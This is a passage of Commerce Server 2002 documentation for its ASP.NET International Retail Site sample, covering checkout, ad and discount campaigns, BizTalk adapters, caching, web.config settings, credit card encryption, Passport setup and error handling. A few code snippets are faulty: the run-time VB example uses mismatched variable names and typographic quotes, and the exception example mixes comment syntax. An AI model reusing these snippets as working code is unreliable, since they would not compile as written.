If the user needs to create a new address or edit an existing address, the user can click the appropriate link. Once the user has saved the new address, the user is returned to the check out page.

A drop-down list allows the user to select a shipping method. A control in the lower right of the check out page displays the current credit card information and contains a link to the payment page (paymentoption.aspx) where this information can be entered or modified.

Once all the required information is provided, the user can either complete the purchase or click on the multiple shipment link to set up shipments to multiple addresses.

Credit Card Validation

The International Retail Site simulates credit card validation with a simple checksum verification verifying that the number is in the valid format. This demonstrates the hooks necessary to connect the site to a third party validation system.

See Also

Transactions and the Order Processing Pipeline

Working with Business Desk

Customizing Shipping Methods


Campaign Features

The International Retail Site supports two types of campaigns: ads and discounts.

This section contains:

  • Advertising Features. Describes how to use banner ads across the top of the main page and targeted ads displayed in a control on the right edge of the page.
  • Discount Features. Describes how discounts are displayed during checkout.
  • Multilingual Campaigns. Describes how to extend the targeting context to support a specific language.

See Also

Business Desk Campaigns

Content Selection Pipelines


Advertising Features

The site is initially configured to support a full banner ad in the header of most pages, and a vertical banner on the right side of many pages.

Ads are displayed by the control ContentItemControl. The control provides context information in a call to the appropriate Content Selection Framework pipeline to select the item to display. The site code must set the ContentSelector Class object dictionary Language property with the language currently preferred by the user prior to calling the object. This will provide the language-targeting context for consideration by the ContentSelector object.

The ContentItemControl control exposes a culture property. This property is set by default to the culture of the site. It can be changed to a different culture to allow targeting expressions to be used to target content based on a specific culture.

See Also

Ads

Discount Features

Multilingual Campaigns


Discount Features

Discounts are displayed during checkout. They are typically based on the content of the shopping cart at the time of checkout. Discounts use the same ContentItemControl control as ads.

The ContentItemControl control exposes a culture property. This property is set by default to the culture of the site. It can be changed to a different culture to allow targeting expressions to be used to target content based on a specific culture.

Each discount item provides support for a localized shopping cart text display message. This message should contain the percentage off or dollar amount off of the purchase. In the case of dollar amount off discount, the localized text must use the site currency in the dollar off message even if the preferred currency of the user is some other currency. The site does not convert the dollar off amount to another currency for display.

See Also

Discounts

Advertising Features

Multilingual Campaigns


Multilingual Campaigns

Multilingual campaigns are supported by extending the targeting context with the culture property. This allows creation of expressions and target groups based on the culture property, for example, English, to allow targeting English language advertising. The language target group must use the "Require" action; this ensures that the targeting is deterministic.

A campaign (advertising, discounts, direct mail job) item must be created for each language the site supports. Each campaign item must include the language target group for which the campaign item is intended. If the campaign item is intended for an English language site, then the English language target group must be assigned to the campaign item.

If images containing text are used in the campaign item, each campaign item must provide images localized into each language. Each campaign item must also provide localized alternate text to support accessibility.

See Also

Advertising Features

Discount Features


BizTalk Server Integration Features

The International Retail site and accompanying retail2002B2B service demonstrate connecting Commerce Server 2002 sites through BizTalk Server.

The Biztalk Server integration feature consists of a set of adaptors that enable Commerce Server 2002 to exchange catalogs, purchase orders, and purchase order update messages with trading partners using Microsoft BizTalk® Server.

Microsoft BizTalk Server provides a gateway for sending business documents between your company and your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

You can use BizTalk Server and Commerce Server together to process orders that users place on your Commerce Server Web site. For specific information about BizTalk Server integration with Commerce Server 2002, see About the BizTalk Server Integration Feature.

This feature is a technology demonstration intended for developers and is not intended for a production environment.

For detailed installation instructions, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

The International Retail Site provides the following BizTalk Server adapters:

  • Catalog Adapter. Describes the catalog adaptor and how it works.
  • Order Adapter. Describes the order adaptor and how it works.
  • Order Status Adapter. Describes the order status adaptor and how it works.

See Also

About BizTalk Server

About the BizTalk Server Integration Feature

Integrating with BizTalk Server


Catalog Adapter

The catalog adapter allows BizTalk Server to automatically import a catalog that has been exported by another site. The publisher sends the catalog file to a specific folder on the receiving site and the adapter imports it into the receiving site.

Business Desk and the CatalogManager APIs support the ability to export XML-Data Reduced (XDR) data that is compliant with BizTalk Server for mapping.

The International Retail Site also provides a catalog Application Integration Component (AIC) that wraps the APIs for getting the catalog document into and out of BizTalk Server.

Note

  • Some catalogs may be very large so it is assumed that message queuing is not used in this process.

See Also

Order Adapter

Order Status Adapter

CatalogManager.ExportXML Method (PIA)


Order Adapter

The order adapter allows a business-to-consumer site to send an order to a supplier.

The order adapter and order status adapter use the POSCHEMA.XML order form for compatibility with BizTalk Mapper.

This adapter is a BizTalk Server-complaint AIC that wraps the Commerce Server 2002 order to XML component. The order adapter is provided so that BizTalk Server can use this AIC to work on order XML documents during run time.

See Also

Catalog Adapter

Order Status Adapter


Order Status Adapter

The order status adaptor receives order status update messages from suppliers as the orders are filled, shipped, back-ordered, and so on. These messages are routed through BizTalk Server into Commerce Server where the original order record is updated. The order status can be viewed from within Commerce Server Business Desk. The user who placed the order can also view the order status through Commerce Server.

You use the Orders module in Commerce Server Business Desk to view the order status.

See Also

Catalog Adapter

Order Adapter


Retail2002: International Retail Site Infrastructure

The International Retail Site is an ASP.NET-based site. It is based on the Commerce Server 2002 Base Class Library (BCL). This approach reduces the amount of code in the site compared to basing the site on the Commerce Server 2002 Primary Interop Assembly (PIA) or COM classes.

Reference information about the BCL can be found in the .NET Class Reference section. Additional information about using the BCL can be found in ASP.NET Samples in the Commerce Server SDK.

The International Retail Site is implemented as a .NET solution using multiple Microsoft Visual Basic .NET and Microsoft Visual C# projects. The codebehind pages for the ASPX pages are written in Visual Basic .NET with core functionality in compiled assemblies written in Visual C#. All the source code for the assemblies is included in subfolders of the unpackaged site.

This section contains:

  • Page Model. Describes the execution model for the ASPX pages in the site.
  • Controls Infrastructure. Describes the controls in the site.
  • Caching Infrastructure. Describes data caching in the site.
  • Site Configuration. Describes the different types of configuration settings in the site.
  • Authentication Infrastructure. Describes user authentication and how the site tracks users.
  • Error Handling. Describes the error-handling framework in the site.


Page Model

There are several characteristics that distinguish an ASP.NET application from an ASP application:

  • In ASP.NET, there is a user interface/markup page and a code-behind page for every Web page.
  • The layout and appearance of the page is separated from the code. Code is contained in codebehind pages, typically with an extension of .aspx.vb, or in .NET components that implement certain functionality and business logic, but not the user interface.
  • Components are compiled into assemblies.

Cascading style sheets (CSS) are used to manage the look and feel of each user interface element. Most user interface elements are implemented using controls. They can be either user controls or custom Web controls. For more information about the controls used on the International Retail Site, see Controls Infrastructure.

This is a modular design that enables plug-and-play features, making it easy to customize, extend, localize, and globalize your site. All user interface text is retrieved using the ASP.NET Resource Manager. The site uses the.NET CultureInfo class to display locale specific data. For more information about the .NET CultureInfo class, see http://msdn.microsoft.com/library/.

Some of the advantages of control-based user interface development are:

  • You can change the behavior of a control by getting or setting control properties.
  • You can write new controls that inherit from existing controls.
  • It is easy to upgrade and maintain your site. You do not need to shut down the site to replace a control.

It is easy to customize a site without code changes:

  • CSS style sheets can be easily replaced without code changes.
  • User interface pages and images can be replaced without code change or recompilation.
  • Properties for custom Web controls or user controls can be set to change their appearances.


Controls Infrastructure

ASP.NET is used to manage and create most of the user interface in the International Retail Site. This section contains an overview of these controls and the methods used to program them.

This section contains:

  • Types of Controls in ASP.NET. Describes the ASP.NET user interface controls that are used on the International Retail Site.


Types of Controls in ASP.NET

There are two types of user interface controls in ASP.NET, and the International Retail site uses both types of control as appropriate:

  • Custom Web controls

    Custom Web controls can be shipped as compiled assemblies. User interface rendering must be done manually through code. In addition to a standard set of properties, a custom Web control can have additional properties with richer design support.

    Custom Web controls inherit from system.web.UI.Webcontrols for their user interface, and then extend the functionality of their parent. For example, the countryselector control inherits from system.web.UI.WebControls.dropdownlist. For more information about Custom Web Controls, see the topic system.web.UI.Webcontrols Namespace in the .NET SDK documentation.

  • User controls

    A user control consists of a user interface page (with the extension .ascx) and the codebehind code. The user interface page and its code must be included into the ASP.NET application. User interface rendering is done automatically using the .ascx page. A user control can contain any number of other user controls or custom Web controls. A user control can have its own properties that can be set at design time, but there is little support for the site designer.

    User controls can have public properties that can be set in the containing page. These properties can control the appearance and behavior of the control. There are two advantages of having these public properties:

    • Properties can be set by the containing page at design time
    • Properties can be set programmatically at run time

See Also

Setting User Control Properties at Page Design Time

Setting User Control Properties Programmatically at Run Time


Setting User Control Properties at Page Design Time

User controls have properties that affect how the controls are displayed. These properties can be set at design time or at run time. The following example shows how a control is used at design time. For more information about setting user control properties at run-time, see the Setting User Control Properties Programmatically at Run Time.

In the following example, suppose there is a simple user control "Header" that exposes the property BannerImagePath as a public property. The control uses this property as the path to the image resource in the header. The following code is from a typical .aspx page that contains such a header control:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="default.aspx.vb" Inherits="Microsoft.CommerceServer.CommerceSite.DefaultForm"%>
<%@ Register TagPrefix="misc" TagName="Header" Src="Misc/header.ascx" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
  <body>
<misc:Header id="Header" BannerImagePath=”.\mycompany.jpg” runat="server"></misc:Header></TD>
  </body>
</HTML>

In the code example, the property is set by the containing page. The site developer does not need to open the user control or the source file.


Setting User Control Properties Programmatically at Run Time

User controls have properties that affect how the controls are displayed. These properties can be set at design time or at run time. The following example shows how a control is used at run time. For more information about setting properties at design time, see Setting User Control Properties at Design Time.

In the following example, suppose there is a simple user control "Header" that exposes the property BannerImagePath as a public property. The control uses this property as the path to the image resource in the header.

In this case, the site developer can easily get or set the property value programmatically at run time, as shown in the following code from the (aspx.vb) page:

Public Class DefaultForm
  Inherits System.Web.UI.Page
#Region " Web Form Designer Generated Code "
…
#End Region
  Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Dim header as HeaderCtrl = Page.FindControl( “Header”)
    If HeaderCtrl is nothing Then
      Throw new ControlNotFoundException
    End If
    If DateTime.Now.Hour < 12 Then
      headerCtrl.BannerImagePath = “./goodmorning.jpg”
    Else
      headerCtrl.BannerImagePath = “./goodafternoon.jpg”
    End if
  End Sub
End Class


Caching Infrastructure

The International Retail Site uses caching techniques available from ASP.NET and Commerce Server 2002, and makes optimum use of both as required. The site is designed so that all static data elements and dynamic data that do not change often are cached.

This section contains:

  • Commerce Server 2002 Caching Techniques. Describes the Commerce Server 2002 caching techniques used on the International Retail Site.

Note

  • When you delete a catalog from the site, the site continues to display the cached copy of the catalog until you perform an IISReset. If you add an item from the deleted catalog to your cart, a runtime error occurs.


Commerce Server 2002 Caching Techniques

Commerce Server 2002 provides the CacheManager object, which is well suited for ASP-based applications and Commerce Server pipelines.

For an ASP.NET-based application using Commerce Server 2002, it is more efficient to use ASP.NET caching techniques whenever possible since this provides all the advantages of the .NET framework features (for example, managed code and integrated functionality with ASP.NET).

Several Commerce Server pipelines, such as the basket, checkout, and Content Selection Framework pipelines, are inherently dependent on the CacheManager object for caching their native data. Therefore, the International Retail Site contains some caches that use the CacheManager object. All of the caches are configured and initialized using the <caches> configuration information in the web.config file.

The following is a list of data caches that use the CacheManager object:

  • AdvertisingDiscounts
  • SampleRegionalTaxCache
  • ShippingManagerCache
  • QueryCatalogInfoCache

Additionally, Commerce Server 2002 provides some degree of internal data caching using the Base Class Library (BCL). Some frequently used items of data that are exposed through properties are cached. This can lead to the Commerce Server Business Desk user needing to "publish" to the Web site to clear a cache. A Refresh method is provided in all BCL objects that employ caching. This method is called when a Business Desk refresh message is received by the International Retail Site.

Caches Tag

The Caches tag is a container element for cache tags that are used to configure CacheManager-based caches in the application. The cache configuration supports a number of default configurations for advertising, discounts, and other types of caches common to Commerce Server. In each case, the cache type has its own default options associated with it; however, the default options can all be overridden. The following code example shows how to use the caches tag:

<caches>
      <cache name="name"
             type="Advertising|Discounts|Tax|Shipping|Custom"
             loaderProgId="progid"
             writerProgId="progid"
             cacheObjectProgId=”progid”
             refreshInterval="0"
             retryInterval="60"
             maxSize=”10”>
             <config key="key" value="value" />
      </cache>
</caches>


Site Configuration

The configuration of the International Retail Site is primarily controlled by two files—the Styles.ccs file and the web.config file. The site is also affected by the App Default Config resource and by Commerce Server Business Desk.

This section contains:

  • Styles.css File. This file controls the appearance of the site.
  • Web.config File. This file controls the configuration of the site.
  • App Default Config Resource. Describes settings in the App Default Config resource that affect the site.
  • Business Desk Configuration. Describes configuration settings managed through Business Desk that affect the site.
  • Enabling Credit Card Number Encryption. Describes the necessary steps to enable the credit card encryption feature.


Styles.css File

The Styles.css file is the cascading style sheet for the entire site. It controls the display properties for all the user interface elements in the site. It lists font, color, and image attributes for HTML tags and controls. It also contains the attributes for the style classes used in the HTML of the .aspx and .ascx files.

You can control the appearance of any design element throughout the site by modifying this file.

See Also

Web.config File


Web.config File

The Web.config file is an XML file that describes and controls the configuration of the application. This file is automatically generated when the site is unpacked. You should use caution when making changes to this file. Some changes can cause certain site features to fail. See Configuration Services for general information about modifying this file.

The web.config file is divided into the following sections:

  • ConfigSections Configuration Section. This section is used to connect the configuration handler code to the other sections of the file. It should not be modified unless you have added a new section and handler. See the ASP.NET documentation at http://go.microsoft.com/fwlink/?LinkId=6680 for information about configuring this section.
  • CommerceServer Configuration Section. This section is used to configure the Commerce Server .NET Application Framework.
  • CommerceServerSite Configuration Section.This section contains a variety of run time parameters that can be changed by developers and site administrators. You also use this section to add new run time properties to enhance the configurability of the site.
  • System.Web Configuration Section. This section configures authentication, file level authorization, error display, and is used to set the site to Debug mode.


CommerceServer Configuration Section

Use this section to configure the Commerce Server .NET Application Framework.

Application Configuration

Example:

<application siteName="Retail2002" debugLevel="Debug"/>
Set debugLevel to "Checked", "Debug", or "Production". Because the "Checked" and "Debug" settings cause the application to run slower than normal, you should only use these values when debugging the application.

Authentication Configuration

Example:

<authentication detectCookies="true"/>
Set detectCookies to true if you want to enable a cookie to the URL-mode fallback authentication scheme.

Pipeline Configuration

Example:

<pipeline

name="product"

path="pipelines\product.pcf"

transacted="false"

type="OrderPipeline"

loggingEnabled="false" />

Configuration parameters:
name
The string you want to use when referencing the pipeline in your application.
path
The relative path of the pipeline configuration file (.pcf) that corresponds to the pipeline you want to run when referencing the pipeline in your application.
transacted
Set transacted to false to disable COM+ transactions when running your pipeline.
type
The type should be set to either "OrderPipeline" or "CSFPipeline" depending if you intend to use the pipeline for processing orders or displaying ads.
loggingEnabled
Set to true to enable pipeline logging. The log file will be created in the "pipelines\log" directory of your application. Logging causes the application to run slower than normal,therefore, it should only be enabled during debugging.

Cache Configuration

Use this section to configure Commerce Server 2002 caches.

Example:

<cache name="Advertising" type="Advertising" refreshInterval="300" retryInterval="60"/>

<cache name="QueryCatalogInfoCache" type="QCI" loaderProgId="Commerce.LRUCacheFlush" refreshInterval="0" retryInterval="300" maxSize="10000">

<config key="TableName" value="CatalogCache_Virtual_Directory"/>

</cache>

Parameters vary with the type of cache; see Cache Objects for more information about configuring a cache.

Configuration parameters:
Name
The string used when referencing the cache. Certain caches must have specific names when using the default Advertising, Discounting, and QueryCatalogInfo pipeline components. These names are Advertising, Discount, and QueryCatalogInfoCache, respectively.
RefreshInterval
How long the cache remains in memory before being refreshed, in seconds.
RetryInterval
How long the CacheManager object waits to retry a call to the cache loader after a failure, in seconds.
MaxSize
The maximum number of entries to store in the cache.

Message Manager Configuration

Use this section to configure string resources that are extracted into the MessageManager object.

The cultures element lists the cultures supported by the site. You add a new culture ID tag to add a new culture to the site. Cultures are specified by their RFC 1766 identifier. Set the default attribute to the identifier of the default culture used by the application. The baseName attribute specifies the root name of the resources used in your application. For example, when using a satellite assembly named "MyResources.en-US.resources", the root name is "MyResources." The assembly attribute is used to specify the name of the assembly containing the default resources; either the executing application or the name of a satellite assembly.

Content Selection Configuration

Use this section to configure the Content Selection Framework and pipelines for ads and discounts.

Catalog Configuration

Use this section to specify the default catalog sets.

Orders Configuration

Use this section to configure an addressMap used for displaying user addresses.

commerceEvent Configuration

Use this section to configure event logging. You add an add tag in this section for each event that you want to log.


CommerceServerSite Configuration Section

Use this section to configure site properties and document security. You also use this section to configure links for user navigation and user preference.

SiteConfiguration

The following properties are set in this section:

EnableApplicationErrorHandler
If true, the application error handler is enabled.
DisablePassport
If true, the Passport service is disabled on the site.
SupportInlineSignIn
If true the Passport inline sign-in feature is enabled. This feature is not supported on the site.
MinimumUsernameLength
An Int32 specifying the minimum length for a user name.
MaximumUsernameLength
An Int32 specifying the maximum length for a user name. The maximum value is 256.
InvalidUsernameCharacters
A string that contains invalid characters for user names.
MinimumEmailLength
An Int32 specifying the minimum length for an e-mail name.
MaximumEmailLength
An Int32 specifying the maximum length for an e-mail name.
MinimumPasswordLength
An Int32 specifying the minimum length for a password.
MaximumPasswordLength
An Int32 specifying the maximum length for a password.
MaxLineitemsInBasket
An Int32 specifying the maximum number of items that can be placed in a cart. This is set at 100 as a security feature.
InvalidPasswordCharacters
A string containing characters that are invalid for a password. The default is "<>&" ?*|:=+;.,)(#[]/^"
InvalidTextBoxCharacters
A string containing characters that are invalid in a text box. The file AgoraSecurity.wsf validates all text box entries against this string. This is a security feature to prevent entering an executable string in a text box. The default is "<>&"?*|=+;%)([]\/^"

DocumentSecurity

This section provides a list of the secure documents that must be either accessed over a secure HTTPS channel or that require authentication or both. Use this section to set up the default behavior. The actual behavior can be overridden at run time by the site code.

UserNavigation

Use this section to configure site-generated links for user navigation.

SitePreferences

Use this section to configure the site-generated link for user locale selection.


System.Web Configuration Section

Use this section to configure authentication, file level authorization, error display, and to set the site to Debug mode.

Compilation Configuration

The default configuration is:

<compilation defaultLanguage="vb" debug="true">

Set debug="true" to insert debugging symbols (.pdb information) into the compiled page. Since this creates a larger file that runs more slowly, you should set this value to true only when debugging and to false at all other times.

CustomErrors Configuration

The default configuration is:

<customErrors mode="RemoteOnly" defaultRedirect="Customerror.aspx">
  <error statusCode="404" redirect="Notfound.aspx" />
</customErrors>

If mode is set to Off, custom error messages will be disabled. Users will receive detailed exception error messages.

If mode is set to On, custom error messages will be enabled.

If mode is set to RemoteOnly, then users will receive custom errors, but users accessing the site locally will receive detailed error messages.

Add an <error> tag for each error you want to handle. The error tag will redirect the user to the Notfound.aspx page when the site returns the 404 (Page not found) error.

Authentication Configuration

Use this section to set the authentication policies of the application. Possible modes are:

  • Windows
  • Forms
  • Passport
  • None

Authorization Configuration

Use this section to control user access to the application.

Examples:

<allow users="*" />   Allow all users
<allow  users="[comma separated list of users]" roles="[comma separated list of roles]"/>
<deny   users="[comma separated list of users]" roles="[comma separated list of roles]"/>

Globalization Configuration

Use this section to set the globalization settings of the application.

Example:

  <globalization requestEncoding="utf-8" responseEncoding="utf-8" />


App Default Config Resource

The App Default Config resource contains properties that affect the functionality of the International Retail Site and Commerce Server Business Desk.

For general information about configuring the App Default Config resource, see Configuring the App Default Config Resource. For information about configuring App Default Config to use BizTalk Server, see Configuring Commerce Server to Work with BizTalk Server.

The site does not respond to all of the App Default Config properties. You use the App Default Config resource to configure base currency properties for the site.

The user will always be redirected to the cart page after adding an item to the cart regardless of the setting of the Add item redirect options property.


Business Desk Configuration

Commerce Server Business Desk is used for day-to-day management of the site. For example, you use it to manage catalogs and ad campaigns.

Configuring Business Desk Security

The International Retail site will secure password and credit card data. It uses a one-way hash for passwords and public key encryption for credit card data. Credit card encryption is optional, but only because it requires manual site configuration to enable. Password encryption is required on the site; it cannot be disabled. Business Desk does not encrypt passwords by default. If you create a user in Business Desk without configuring Business Desk to encrypt passwords, the user will not be able to log onto the site.

Perform the following steps using Business Desk to enable the hashing of a user's password:

  1. In Business Desk, click Profiles, and then click Profile Definition Designer.
  2. In Profiles, select the UserObject profile, and then click Open.
  3. In Profile Definition Designer screen, Properties list, double-click General Information, and then select the User Password property by clicking it.
  4. Expand the Advanced Attributes section of the Profile Definition Designer screen.
  5. Select "One way hash" from the dropdown for the Encrypted property.

Configuring weight-based shipping methods

When entering shipping methods in Business Desk, you must use only methods that have their corresponding unit of measure in the loaded catalogs. Every cart contains a quantity, so using quantity-based shipping methods will always work. The default AdventureWorks catalog does not contain a weight property for catalog products. Weight-based shipping methods will fail with this catalog.

See Also

Enabling Credit Card Number Encryption


Enabling Credit Card Number Encryption

The credit card encryption feature for the International Retail Site is disabled by default. Several manual configuration steps are required to enable the feature.

Perform the following steps using Commerce Server Business Desk to enable the encryption of credit card numbers.

  1. Modify the credit card profile.
    1. In Business Desk, click Profiles, and then click Profile Definition Designer.
    2. In Profiles, select the Credit Card profile, and then click Open.
    3. In Profile Definition Designer, Properties list, double-click General Information, and then select the Credit Card Number property by clicking on it.
    4. Expand the Advanced Attributes section by clicking on it.
    5. Select "Asymmetric Encryption" from the dropdown for the Encrypted property.
    6. Restart IIS. See Restarting IIS and Commerce Server Services for more information.
  2. Run the Microsoft Commerce Server 2002 Cryptographic Key Generator tool to generate a public/private key pair. For information about running the tool, see Generating Public and Private Keys.
  3. Add publicKey value, generated in step 2, to the web.config file under the profiles/encryption/keys section. See How to modify the application so that it supplies tokens used in encryption by the Commerce Server OLEDB provider and by the Profile Service for details about adding this section and the publicKey value.
  4. Add the private key value to the appropriate location as needed to enable your credit card verification system. See Security Features in the International Retail Site for more information.
  5. If you intend to modify credit card profiles through Business Desk, you must modify the Profile Service connection strings in three methods to support the new public key obtained in previous step. The modification consists of adding the publicKey and the keyIndex parameters to the connection strings. See How to modify the application so that it supplies tokens used in encryption by the Commerce Server OLEDB provider and by the Profile Service for details about this modification. This modification is not required to retrieve or view credit card profiles. The following table lists the methods that must be modified.
    Method | File Name
    sGetProviderConnStr | CommonXmlRoutines.asp
    RefreshProviderConnection | RefreshProfileSvcAll.asp
    cnGetProviderConnection | Global.asa

See Also

Managing Encrypted Profile Properties.


Authentication Infrastructure

The International Retail Site provides support for user authentication using user supplied passwords. This password is secured using a hashing scheme described in Security Features in the International Retail Site. The user password may also be provided by Microsoft Passport, as described in Passport Integration Features.

This section contains:

  • Enabling Passport. Provides specific instructions to enable Microsoft Passport on your site.


Enabling Passport

The International Retail site will display the Microsoft Passport login if it detects that the Passport service is installed and correctly configured on the site.

You can install Passport using the following steps:

  1. Open Internet Explorer and browse to http://go.microsoft.com/fwlink/?LinkId=6740.
  2. Download and install the Passport SDK (2.0+), and follow the online instructions to complete the licensing process.
  3. After you have completed the licensing process, you will receive an e-mail notification that contains your site id and the Passport Key Installer executable file, which contains the key for your site.
  4. Using the Passport Administration Utility from the Passport SDK, change the site ID and commit your changes.
  5. Use the Passport Administration Utility to set the cookie path to "/".

    If you are using ASP.NET, the Passport sign-out operation will fail if you do not set the cookie path to "/". Failing the sign-out operation creates a state where the user cannot browse your Web site after signing out.

  6. Run the Passport Key Installer executable file. The Passport Key Installer contains a number of command line parameters, including the following:
    • /addKey [/m machineName] [/s siteName]
    • /makeCurrent /t oldKeyValidTime [/m machineName] [/s siteName]
    • /showCurrent [/m machineName] [/s siteName]
    • /expire [/m machineName] [/s siteName]

    If, for example, your executable is named partner21273_2.exe:

    Type partner21273_2 /addKey /m <server>, replacing <server> with the name of the computer on which you are installing the key.

  7. Verify that Passport was successfully configured. You can either open the Passport example from the SDK or go to login.aspx page on the International Retail Site and verify that the Passport Sign-in link appears.

    Note

    • If Passport is improperly configured, the passport Sign-in link will not appear on the site. Check the Event Viewer for the following error message:

      Passport Manager is mis-configured: Error reading Passport crypto keys from registry.

More information about Microsoft Passport, including the Passport SDK and sample site code, can be found at http://go.microsoft.com/fwlink/?LinkId=6740.

See Also

Integrating with Passport


Error Handling

This section describes errors that originate in the International Retail Site application. Errors originating in Internet Information Services (IIS) and deployment errors are not described.

When an error occurs on a page, ASP.NET sends information about the error to the ASP.NET client application. Errors are divided into the following categories:

  • Configuration errors

    Occur when the syntax or structure of the web.config file in the configuration hierarchy is incorrect. This includes Commerce Server 2002 run time configuration exceptions.

  • Global.asax errors

    Occur when an error happens when compiling or running the Global.asax file. The application level error handling described in this section traps run time errors in the Global.asax file. Compilation errors in the Global.asa file are not trapped.

  • Parser errors

    Occur when the ASP.NET syntax on a page is malformed.

  • Compilation errors

    Occur when statements in a target language for the page are incorrect.

  • Run-time errors

    Occur during page execution, even though the errors could not be detected at compile time.

Since the International Retail Site is shipped with a valid web.config file, configuration and Global.asax errors are unlikely to happen until the site has been customized by the user.

Parser, compilation, and run-time errors can be trapped.

This section contains:

  • Application Level Error Handling
  • Exception Handling Guidelines and Best Practices
  • Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects


Application Level Error Handling

Web.config settings

The web.config file contains a <customErrors> tag to apply generic exception handling and to specify redirection to an error page:

<customErrors defaultredirect="/error/SiteError.aspx" mode="on">
 <error statuscode="404" redirect="/error/filenotfound.aspx" />
</customErrors>

As shown in the preceeding code, SiteError.aspx is the default redirect page for site errors not trapped by the application code in all conditions. In development servers, users can set the mode setting to "Off" or "RemoteOnly" to see the full default ASP.NET error message. Setting this to "RemoteOnly" will show the ASP.NET error message on the server, but will show the default redirect page on a remote client.

Although most of these error page settings are also available with IIS, using the Web configuration method allows for easier deployment of the site onto many computers. However, users should also configure the IIS metabase for these error conditions to redirect to the appropriate error page. Also web.config settings will only apply for ASP.NET files (.aspx, .asmx, .ascx, and not .htm or .asp files).

If the <customErrors> tag is missing in the web.config file, ASP.NET errors are redirected to a generic server error page, and the following message is displayed:

An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed.

Implementation

ASP.NET sends minimal information to a page when an error occurs. A Get method is sent to this page with the query string key "ErrorPage" with the virtual path to the page in which the error occurs. The user interface section of this page uses culture-neutral content to display error information to the user.

Exception Handling

In the Global.asax file, error events at the application level are handled by the event Application_Error, which writes the available information to the event log file. Depending on the customErrors setting in the web.config file the appropriate error page will be displayed.

Page Level Error Handling

@Page directive:

Since the web.config file will be configured to redirect to an error page for unhandled errors, @Page ErrorPage = 'xyz.aspx' should not be used in the application.

Page_Error Event Handling

Implementing the Page_Error event handler in individual feature pages of the site is not recommended. This is because the Page_Error event handler requires a full implementation to render the page completely by itself. Since the web.config file is already configured to show a custom error page it is best to make use of it. The Page_Error event handler should be implemented only when it is required to free up page resources and even then it should not call Server.ClearError so that exception will remain unhandled and will allow ASP.NET to redirect to the Application_Error event handler and to the default error redirect page.

The Page_Error event handler should be implemented only in pages where system errors might occur (for example, the Checkout page because it is running a pipeline), and it is recommended that the Page_Error event handler write the error message to the event log and keep the exception alive so that user will be redirected to the custom error page.

Note

  • Server.GetLastError can be used to obtain a reference to the unhandled exception object.
  • Server.ClearError is used only when propagation of the exception is to be stopped.


Exception Handling Guidelines and Best Practices

Do not rely on exceptions in your code. Since exceptions cause performance to suffer significantly, you should never use them as a way to control normal program flow. If it is possible to detect in code a condition that would cause an exception, do so. Do not catch the exception itself before you handle that condition. Common scenarios include checking for null, assigning a value to a string that will be parsed into a numeric value, or checking for specific values before applying math operations. The following example demonstrates code that could cause an exception and code that tests for a condition. Both produce the same result:

' Consider changing this...
Try
  result = 100 / num
Catch (e As Exception)
 result = 0
End Try
// To this...
If Not (num = 0)
  result = 100 / num
Else
 result = 0
End If

However, always use a try-catch-finally block to handle all foreseeable errors (pipeline errors, property not set errors, and so on) so that page rendering is not affected.

If such errors are not handled using a try-catch-finally block, and are left to the Page_Error, Application_Error, or <customerror> handlers in ASP.NET, these handlers cannot render the requested page and will have to redirect the user to a specific error page that may indicate that the requested page is unavailable.

For more information about best practices for error handling, see "Best Practices for Handling Exceptions" in the .NET Framework documentation at The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.

See Also

Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects


Exception Handling of Commerce Server 2002 BCL and PIA/COM Interop Objects

All calls to Commerce Server 2002 BCL objects will throw an exception if any error occurs. These errors could be of these types "CommerceException", or an exception derived from the System.Exception class.

It is recommended to call the Base Class Library (BCL) run time using a try-catch-finally block in the following manner:

  1. Gracefully handle specific exceptions of the BCL API calls used (for example ProductNotFoundException). By handling these exceptions the user will able get a graceful error message. The exception will not be rethrown.
  2. If the codepath expects to handle gracefully any other specific exceptions (for example, ArgumentNullException) it may use additional catch blocks to handle them. This will make certain that the error will not be passed to higher level event handlers that might interrupt the display of the page.
  3. If the exception is not handled as above, a general catch statement may be used to catch all other exceptions. You should then throw a new exception with the inner exception property set.

See Also

Exception Handling Guidelines and Best Practices


Tips for Developing Your Retail2002 Site

This section provides some tips for developing a site based on the International Retail Site. The International Retail Site is a sample site that demonstrates .NET Framework technology and best practices in implementing that technology. The site has implemented important security features, but you must thoroughly review and understand them to be sure that they meet all of your security requirements. Ultimately, you are responsible for the security of your site.

This section contains:

  • Page Authoring. Explains how a site developer can change the appearance of the International Retail Site.
  • Source Code Roadmap. Describes the various projects that make up the International Retail Site, and provides information to help you find the source code that you want to examine.
  • Adding a Language to the Retail2002 Site. Describes how to add a language to the International Retail Site.
  • Debugging the Site. Describes how to begin debugging the site using Visual Studio .NET.

See Also

Developing a Secure Site

Security Checklist


Page Authoring

A page in the International Retail Site is a combination of an .aspx page and a codebehind page, either an .aspx.vb page or an .aspx.cs page. The .aspx page contains the user interface, and the codebehind page contains the functionality. The user interface in the .aspx page is defined by a combination of HTML and included Web controls. This separates the design and appearance from the functionality of the site. It also clearly separates the authoring between design and development. A site developer can change the design and functionality of a page by adding or removing controls and modifying the HTML. A site developer can change the appearance by changing images and styles. If no new functionality is required, adding a new page can be simple.

Changing the Appearance of the Site

Site Navigation Framework

Changing the Appearance of the Site

The International Retail Site supports "skins". In other words, the appearance of the site can be changed through a collection of graphics files and a cascading style sheet (.css) file.

The basic structure of the pages in the site is a collection of tables. By using a group of cells to represent a design element it is possible to simulate non-rectangular objects on the screen and still have text in those objects that can be controlled through code.

For example, the following table structure can be used to represent a box with rounded corners.

Element Table Structure

The peripheral cells contain the graphic element for a corner or a side of the box, and possibly a background color. The central cell contains the background color and text. Since the text can be from a localized string resource, the graphics do not need to be localized. Also, the text can be changed under programmatic control as needed, and the .css file can control the appearance.

This design principle has been applied to the entire site. For example, the following figure shows a schematic view of the main page for the International Retail Site.

